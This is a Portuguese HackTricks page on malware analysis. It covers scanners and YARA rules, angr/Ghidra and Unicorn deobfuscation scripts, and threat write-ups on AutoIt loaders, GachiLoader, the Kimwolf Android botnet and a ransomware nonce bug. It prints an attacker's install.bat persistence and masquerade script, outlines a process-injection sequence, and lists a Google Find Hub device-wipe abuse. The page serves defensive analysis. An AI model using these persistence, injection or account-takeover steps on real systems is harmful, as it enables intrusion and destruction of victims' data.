Análise de Malware

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

CheatSheets de Forense

https://www.jaiminton.com/cheatsheet/DFIR/#

Serviços Online

Antivírus Offline e Ferramentas de Detecção

Yara

Instalação

sudo apt-get install -y yara

Prepare rules

Use este script para baixar e mesclar todas as regras de malware yara do github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crie o diretório rules e execute-o. Isso criará um arquivo chamado malware_rules.yar que contém todas as regras yara para malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Verificar malware e criar rules

Você pode usar a ferramenta YaraGen para gerar yara rules a partir de um binário. Confira estes tutoriais: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Instalar

sudo apt-get install -y clamav

Scan

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa detecta capabilities potencialmente maliciosas em executáveis: PE, ELF, .NET. Então ele vai encontrar coisas como táticas de Att&ck, ou capabilities suspeitas como:

  • verificar erro de OutputDebugString
  • rodar como um service
  • criar process

Obtenha no Github repo.

IOCs

IOC significa Indicator Of Compromise. Um IOC é um conjunto de condições que identificam algum software potencialmente indesejado ou malware confirmado. Blue Teams usam esse tipo de definição para procurar esse tipo de arquivos maliciosos em seus systems e networks.
Compartilhar essas definições é muito útil, pois quando malware é identificado em um computador e um IOC para esse malware é criado, outras Blue Teams podem usar isso para identificar o malware mais rapidamente.

Uma ferramenta para criar ou modificar IOCs é IOC Editor.
Você pode usar ferramentas como Redline para procurar IOCs definidos em um device.

Loki

Loki é um scanner para Simple Indicators of Compromise.
A detecção é baseada em quatro métodos de detecção:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado para as ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusão na borda da rede para extrair malware que está sendo usado ativamente em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e de recursos da comunidade de malware.

rkhunter

Ferramentas como rkhunter podem ser usadas para verificar o sistema de arquivos em busca de possíveis rootkits e malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS é uma ferramenta que tentará encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.

PEpper

PEpper verifica algumas coisas básicas dentro do executável (binary data, entropy, URLs and IPs, algumas regras yara).

PEstudio

PEstudio é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, headers, mas também verificará o virus total e encontrará possíveis técnicas Att&ck.

Detect It Easy(DiE)

DiE é uma ferramenta para detectar se um arquivo está encrypted e também encontrar packers.

NeoPI

NeoPI é um script Python que usa uma variedade de métodos estatísticos para detectar conteúdo ofuscado e encrypted dentro de arquivos de texto/script. O objetivo do NeoPI é ajudar na detecção de código oculto de web shell.

php-malware-finder

PHP-malware-finder faz o melhor possível para detectar código ofuscado/dodgy code assim como arquivos usando funções PHP frequentemente usadas em malwares/webshells.

Apple Binary Signatures

Ao verificar alguma malware sample você deve sempre check the signature do binary, pois o developer que o assinou pode já estar related com malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Técnicas de Detecção

File Stacking

Se você sabe que alguma pasta contendo os files de um web server foi atualizada pela última vez em alguma data. Verifique a data em que todos os files no web server foram criados e modificados e, se alguma data for suspeita, verifique esse file.

Baselines

Se os files de uma pasta não deveriam ter sido modificados, você pode calcular o hash dos original files da pasta e compará-los com os atuais. Qualquer modificação será suspeita.

Statistical Analysis

Quando a informação é salva em logs, você pode verificar estatísticas como quantas vezes cada file de um web server foi acessado, já que um web shell pode ser um dos mais acessados.


Android in-app native telemetry (no root)

No Android, você pode instrumentar código nativo dentro do processo do app alvo carregando previamente uma pequena biblioteca logger antes de outras libs JNI inicializarem. Isso dá visibilidade antecipada do comportamento nativo sem hooks em todo o sistema nem root. Uma abordagem popular é SoTap: colocar libsotap.so para a ABI correta dentro do APK e injetar uma chamada System.loadLibrary(“sotap”) cedo (por exemplo, inicializador estático ou Application.onCreate), depois coletar logs dos caminhos internos/externos ou do fallback do Logcat.

Veja a página de reversing nativo do Android para detalhes de setup e caminhos de log:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Alguns malwares Android e apps protegidos por RASP escondem nomes e assinaturas de métodos JNI decodificando-os em runtime antes de chamar RegisterNatives. Quando a instrumentação com Frida/ptrace é encerrada por anti-debug, você ainda pode recuperar o plaintext offline executando o decoder embutido no binário com angr e depois enviando os resultados de volta para o Ghidra como comentários.

Ideia-chave: trate o decoder dentro do .so como uma função chamável, execute-o nos blobs de bytes obfuscados em .rodata e concretize os bytes de saída até o primeiro \x00 (terminador de C-string). Mantenha angr e Ghidra usando a mesma image base para evitar mismatch de endereços.

Visão geral do workflow

  • Triage no Ghidra: identifique o decoder e sua convenção de chamada/argumentos em JNI_OnLoad e na configuração de RegisterNatives.
  • Execute angr (CPython3) para rodar o decoder para cada string alvo e exporte os resultados.
  • Anote no Ghidra: adicione comentários automáticos nas strings decodificadas em cada call site para reconstrução rápida de JNI.

Triage no Ghidra (padrão JNI_OnLoad)

  • Aplique datatypes JNI em JNI_OnLoad para o Ghidra reconhecer estruturas JNINativeMethod.
  • JNINativeMethod típico conforme a documentação da Oracle:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Procure chamadas a RegisterNatives. Se a library constrói o name/signature com uma rotina local (e.g., FUN_00100e10) que referencia uma static byte table (e.g., DAT_00100bf4) e recebe parâmetros como (encoded_ptr, out_buf, length), esse é um alvo ideal para execução offline.

Configuração do angr (execute o decoder offline)

  • Carregue o .so com a mesma base usada no Ghidra (example: 0x00100000) e desative o auto-loading de external libs para manter o state pequeno.
angr setup and offline decoder execution ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- Em escala, construa um mapa estático dos call sites para os argumentos do decoder (encoded_ptr, size). Wrappers podem ocultar argumentos, então você pode criar esse mapeamento manualmente a partir de xrefs no Ghidra se a recuperação da API estiver ruidosa.

<details>
<summary>Decodifique em lote múltiplos call sites com angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Anotar call sites no Ghidra Opção A: escritor de comentários somente com Jython (use um JSON pré-computado)

  • Como angr requer CPython3, mantenha a deobfuscação e a anotação separadas. Primeiro execute o script angr acima para produzir decoded_strings.json. Depois execute este GhidraScript em Jython para escrever PRE_COMMENTs em cada call site (e incluir o nome da função chamadora para contexto):
Ghidra Jython script to annotate decoded JNI strings ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativamente, use pyhidra ou ghidra_bridge para controlar a API do Ghidra a partir do mesmo processo CPython executando angr. Isso permite chamar decode_string() e imediatamente definir PRE_COMMENTs sem um arquivo intermediário. A lógica espelha o script Jython: construa o mapa callsite→function via ReferenceManager, decodifique com angr e defina comentários.

Why this works and when to use it
- A execução offline contorna RASP/anti-debug: sem ptrace, sem hooks de Frida são necessários para recuperar strings.
- Manter Ghidra e angr com base_addr alinhados (por exemplo, 0x00100000) garante que os endereços de função/dados coincidam entre as ferramentas.
- Receita repetível para decoders: trate a transformação como uma função pura, aloque um buffer de saída em um estado novo, chame-a com (encoded_ptr, out_ptr, len), depois concretize via state.solver.eval e faça o parse de C-strings até \x00.

Notes and pitfalls
- Respeite a ABI/convenção de chamada do alvo. angr.factory.callable escolhe uma com base na arch; se os argumentos parecerem deslocados, especifique cc explicitamente.
- Se o decoder espera buffers de saída zerados, inicialize outbuf com zeros no estado antes da chamada.
- Para Android .so position-independent, sempre forneça base_addr para que os endereços em angr correspondam aos vistos no Ghidra.
- Use currentProgram.getReferenceManager() para enumerar call-xrefs mesmo se o app encapsular o decoder atrás de stubs finos.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Famílias modernas de malware abusam fortemente de obfuscação de Control-Flow Graph (CFG): em vez de um salto/chamada direta, elas calculam o destino em tempo de execução e executam um `jmp rax` ou `call rax`.  Um pequeno *dispatcher* (tipicamente nove instruções) define o alvo final dependendo das flags `ZF`/`CF` da CPU, quebrando completamente a recuperação estática do CFG.

A técnica – mostrada pelo loader SLOW#TEMPEST – pode ser derrotada com um fluxo de trabalho em três etapas que depende apenas de IDAPython e do emulador de CPU Unicorn.

### 1. Localize every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extrair o byte-code do dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emule-o duas vezes com Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Execute run(code,0,0) e run(code,1,1) para obter os alvos do ramo false e true.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Depois de aplicar o patch, force o IDA a reanalisar a função para que o CFG completo e a saída do Hex-Rays sejam restaurados:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Rotule chamadas indiretas de API

Uma vez que o destino real de cada call rax seja conhecido, você pode informar ao IDA o que ele é para que os tipos de parâmetros e os nomes de variáveis sejam recuperados automaticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Benefícios práticos

  • Restaura o CFG real → a decompilação passa de 10 linhas para milhares.
  • Habilita string-cross-reference e xrefs, tornando trivial a reconstrução do comportamento.
  • Os scripts são reutilizáveis: coloque-os em qualquer loader protegido pelo mesmo truque.

Loaders baseados em AutoIt: descriptografia .a3x, disfarce de Task Scheduler e injeção de RAT

Esse padrão de intrusão encadeia um MSI assinado, loaders AutoIt compilados em .a3x e um job do Task Scheduler disfarçado como um app benigno.

MSI → custom actions → orquestrador AutoIt

Árvore de processos e comandos executados pelas custom actions do MSI:

  • MsiExec.exe → cmd.exe para executar install.bat
  • WScript.exe para exibir uma caixa de diálogo de erro isca
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (solta o loader, configura persistência, se autolimpa):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (isca para a vítima):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Artifatos-chave e mascaramento:

  • Solta AutoIt3.exe e IoKlTr.au3 em C:\Users\Public\Music
  • Copia schtasks.exe para hwpviewer.exe (se disfarça como Hangul Word Processor viewer)
  • Cria uma tarefa agendada “IoKlTr” que executa a cada 1 minuto
  • Startup LNK visto como Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Prepara módulos em subpastas de %APPDATA%\Google\Browser\ contendo adb ou adv e os inicia via helpers autoit.vbs/install.bat

Dicas de triagem forense:

  • enumeração de schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Procure por cópias renomeadas de schtasks.exe co-localizadas com Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Paths comuns: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlacione a criação de processos: AutoIt3.exe iniciando binários legítimos do Windows (por exemplo, cleanmgr.exe, hncfinder.exe)

AutoIt loaders e descriptografia de payloads .a3x → injection

  • Módulos AutoIt são compilados com #AutoIt3Wrapper_Outfile_type=a3x e descriptografam payloads embutidos antes de injetar em processos benignos.
  • Famílias observadas: QuasarRAT (injetado em hncfinder.exe) e RftRAT/RFTServer (injetado em cleanmgr.exe), assim como módulos RemcosRAT (Remcos\RunBinary.a3x).
  • Padrão de descriptografia: derive uma AES key via HMAC, descriptografe o blob embutido, depois injete o módulo em texto claro.

Esqueleto genérico de descriptografia (a entrada/algoritmo HMAC exatos são específicos da família):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Fluxo comum de injeção (estilo CreateRemoteThread):

  • CreateProcess (suspended) do host alvo (por exemplo, cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory com módulo/shellcode descriptografado
  • CreateRemoteThread ou QueueUserAPC para executar o payload

Ideias de hunting

  • AutoIt3.exe com parent de MsiExec.exe ou WScript.exe iniciando utilitários do sistema
  • Arquivos com extensões .a3x ou executores de script AutoIt em caminhos públicos/gravaáveis pelo usuário
  • Tarefas agendadas suspeitas executando AutoIt3.exe ou binários não assinados pela Microsoft, com triggers em nível de minuto

Abuso de account-takeover do Android Find My Device (Find Hub)

Durante a intrusão no Windows, os operadores usaram credenciais Google roubadas para apagar repetidamente os dispositivos Android da vítima, suprimindo notificações enquanto expandiam o acesso via o messenger de desktop da vítima já autenticado.

Passos do operador (a partir de uma sessão do navegador autenticada):

  • Revisar Google Account → Security → Your devices; seguir Find My Phone → Find Hub (https://www.google.com/android/find)
  • Selecionar dispositivo → inserir novamente a senha do Google → emitir “Erase device” (factory reset); repetir para atrasar a recuperação
  • Opcional: limpar e-mails de alerta na caixa de correio vinculada (por exemplo, Naver) para ocultar notificações de segurança

Rastreando loaders Node.js fortemente ofuscados

Atacantes cada vez mais empacotam loaders JavaScript dentro de binários Windows autônomos compilados com nexe, então o runtime é distribuído junto com o script. O PE resultante frequentemente pesa 60–90 MB e executa mesmo se Node.js não estiver instalado. Durante a triagem:

  • Use nexe_unpacker para extrair o JavaScript embutido do PE e enviá-lo para ferramentas locais para diffing estático.
  • Espere um mutex baseado em disco em %TEMP% (GachiLoader solta um arquivo aleatório <name>.lock que expira após cerca de 5 minutos). Copiar o arquivo para o sandbox antes da execução permite pular etapas redundantes enquanto ainda vê payloads posteriores.

Rastreamento da API do Node.js para derrotar anti-analysis

O Nodejs-Tracer da Check Point faz hook de módulos centrais dentro de qualquer processo Node.js, permite falsificar verificações anti-VM e preserva todo artefato que a amostra grava. Inicie scripts ofuscados através do tracer para manter instrumentação controlada pelo analista na call stack:

node -r .\tracer.js main.js

As chaves de configuração dentro de tracer.js permitem que você:

  • Registre atividade do filesystem, child-process e HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Todo arquivo descartado — como kidkadi.node — é copiado para o diretório de trabalho antes que o malware o apague.
  • Substitua fingerprints do ambiente retornando contagens realistas de RAM/CPU, falsificando a saída de tasklist e alterando respostas de PowerShell/WMI. Isso contorna loaders que exigem ≥4 GB de RAM, ≥2 cores e verificam nomes de usuário (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …) e nomes de processos (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutralize verificações de hardware via WMI como Get-WmiObject Win32_DiskDrive (procurando por vmware, kvm, virtio, …), Win32_VideoController (bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) e contagens de Win32_PortConnector. Quando essas sondagens reportam hardware “real”, sandboxes deixam de cair no infinite loop de chamadas benignas Invoke-WebRequest para linkedin.com, grok.com, whatsapp.com e domínios semelhantes que o GachiLoader usa para desperdiçar tempo de análise.

Capturando automaticamente o tráfego C2 com gate

Os network hooks do tracer revelam autenticação C2 em múltiplas camadas sem precisar reverter a ofuscação em JavaScript. Na campanha observada, o loader:

  1. Faz POST de telemetry do host para /log em cada C2 hard-coded.
  2. Emite GET /richfamily/<per-sample key> com X-Secret: gachifamily para recuperar uma URL de payload codificada em Base64.
  3. Executa um GET final para essa URL com um long per-sample X-Secret header; sem ele, retorna 403 Forbidden.

Como o tracer registra requisições completas (headers, bodies, destinos), você pode reproduzir o mesmo tráfego para puxar payloads, despejar shells de Themida/VMProtect em memória e extrair dados de configuração do Rhadamanthys em escala.

AdaptixC2: Extração de Configuração e TTPs

Veja a página dedicada:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

Loader de APK e execução nativa de ELF em TV boxes

  • APKs maliciosos como com.n2.systemservice06* incluem um ARM ELF estaticamente linkado dentro de res/raw (por exemplo, R.raw.libniggakernel). Um receiver BOOT_COMPLETED é executado na inicialização, extrai o raw resource para o sandbox do app (por exemplo, /data/data/<pkg>/niggakernel), torna-o executável e o invoca com su.
  • Muitas Android TV boxes/tablets vêm com imagens pre-rooted ou su world-writable, então o loader inicia o ELF de forma confiável com UID 0 mesmo sem uma cadeia de exploit. A persistência vem “de graça” porque o receiver é relançado após cada reboot ou reinício do app.
  • Reverse engineers que procuram esse padrão podem comparar AndroidManifest.xml em busca de boot receivers ocultos, além de código que referencia Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Assim que o ELF é descartado, faça triagem como um backdoor de userland Linux (Kimwolf está empacotado com UPX, stripped, estaticamente linkado, ARM EABI5 de 32 bits).

Mutexes em runtime e IOCs de mascaramento

  • Ao iniciar, Kimwolf vincula um abstract UNIX domain socket como @niggaboxv4/@niggaboxv5. Sockets já existentes forçam a saída, então o nome do socket funciona tanto como mutex quanto como artefato forense.
  • O título do processo é sobrescrito com nomes que parecem de serviço (netd_services, tv_helper, etc.) para se misturar às listas de processos do Android. Detecções baseadas no host podem alertar sobre esses nomes combinados com o socket mutex.

Decodificação de strings com XOR na stack usando ARM NEON + flare_emu

  • Strings sensíveis (domínios C2, resolvers, endpoints DoT) são colocadas na stack em blocos criptografados de 8 bytes e decodificadas in-place via VEOR Qx, Qx, Qy (veorq_s64). Analistas podem usar flare_emu para capturar o ponteiro descriptografado toda vez que o decryptor o entrega ao caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Procur por sequências VEOR Q8, Q8, Q9 / veorq_s64 e emular seus intervalos faz um mass-dump de toda string descriptografada, burlando a lifetime apenas no stack do plaintext.

Resolução DNS-over-TLS mais derivação XOR de IP

  • Todas as variantes Kimwolf resolvem domínios de C2 falando DNS-over-TLS (TCP/853) diretamente com Google (8.8.8.8) ou Cloudflare (1.1.1.1), contornando logging ou hijacking de DNS em texto puro.
  • Bots v4 simplesmente usam o registro A IPv4 retornado. Bots v5 tratam o registro A como um inteiro de 32 bits, trocam sua endianness, fazem XOR com a constante 0x00ce0491, depois invertem a endianness de volta para obter o IP real do C2. Receita do CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

fallback ENS / EtherHiding

  • Builds posteriores adicionam um domínio ENS (pawsatyou.eth) cujo resolver text key "lol" armazena um IPv6 aparentemente benigno (fed0:5dec:...:1be7:8599).
  • O bot pega os últimos quatro bytes (1b e7 85 99), faz XOR com 0x93141715, e interpreta o resultado como um C2 IPv4 (136.243.146.140). Atualizar o ENS text record rotaciona instantaneamente os C2s downstream via blockchain sem tocar no DNS.

Canal de comando autenticado com TLS + ECDSA

  • O tráfego é encapsulado no wolfSSL com um protocolo customizado em frames:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: o bot envia dois headers vazios MsgType=0 (register). O C2 responde com MsgType=1 (verify) contendo um desafio aleatório mais uma assinatura ASN.1 DER ECDSA. Os bots verificam isso contra um blob embutido de SubjectPublicKeyInfo; falhas encerram a sessão, impedindo que nós C2 hijacked/sinkholed distribuam tasks para a fleet.
  • Uma vez verificado, o bot envia um body MsgType=0 carregando a group string definida pelo operador (por exemplo, android-postboot-rt). Se o grupo estiver habilitado, o C2 responde com MsgType=2 (confirm), após o qual o tasking (MsgType 5–12) começa.
  • Os verbs suportados incluem proxying TCP/UDP no estilo SOCKS (monetização de residential proxy), reverse shell / execução de comando único, leitura/gravação de arquivos e payloads Mirai-compatible DDoSBody (mesmo layout AtkType, Duration, Targets[], Flags[]).

Ransomware com partial-encryption: nonces de stream-cipher perdidos

Algumas famílias de ransomware criptografam arquivos parcialmente por velocidade, mas quando usam um stream cipher independentemente em múltiplos chunks, cada região criptografada precisa do seu próprio nonce/IV persistido. Se a sample gera um nonce novo por chunk e sobrescreve o mesmo buffer de 12 bytes dentro do loop, e depois anexa apenas o valor final ao disco, os chunks anteriores tornam-se criptograficamente irrecuperáveis mesmo se o atacante compartilhar a key depois.

Padrão quebrado típico:

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks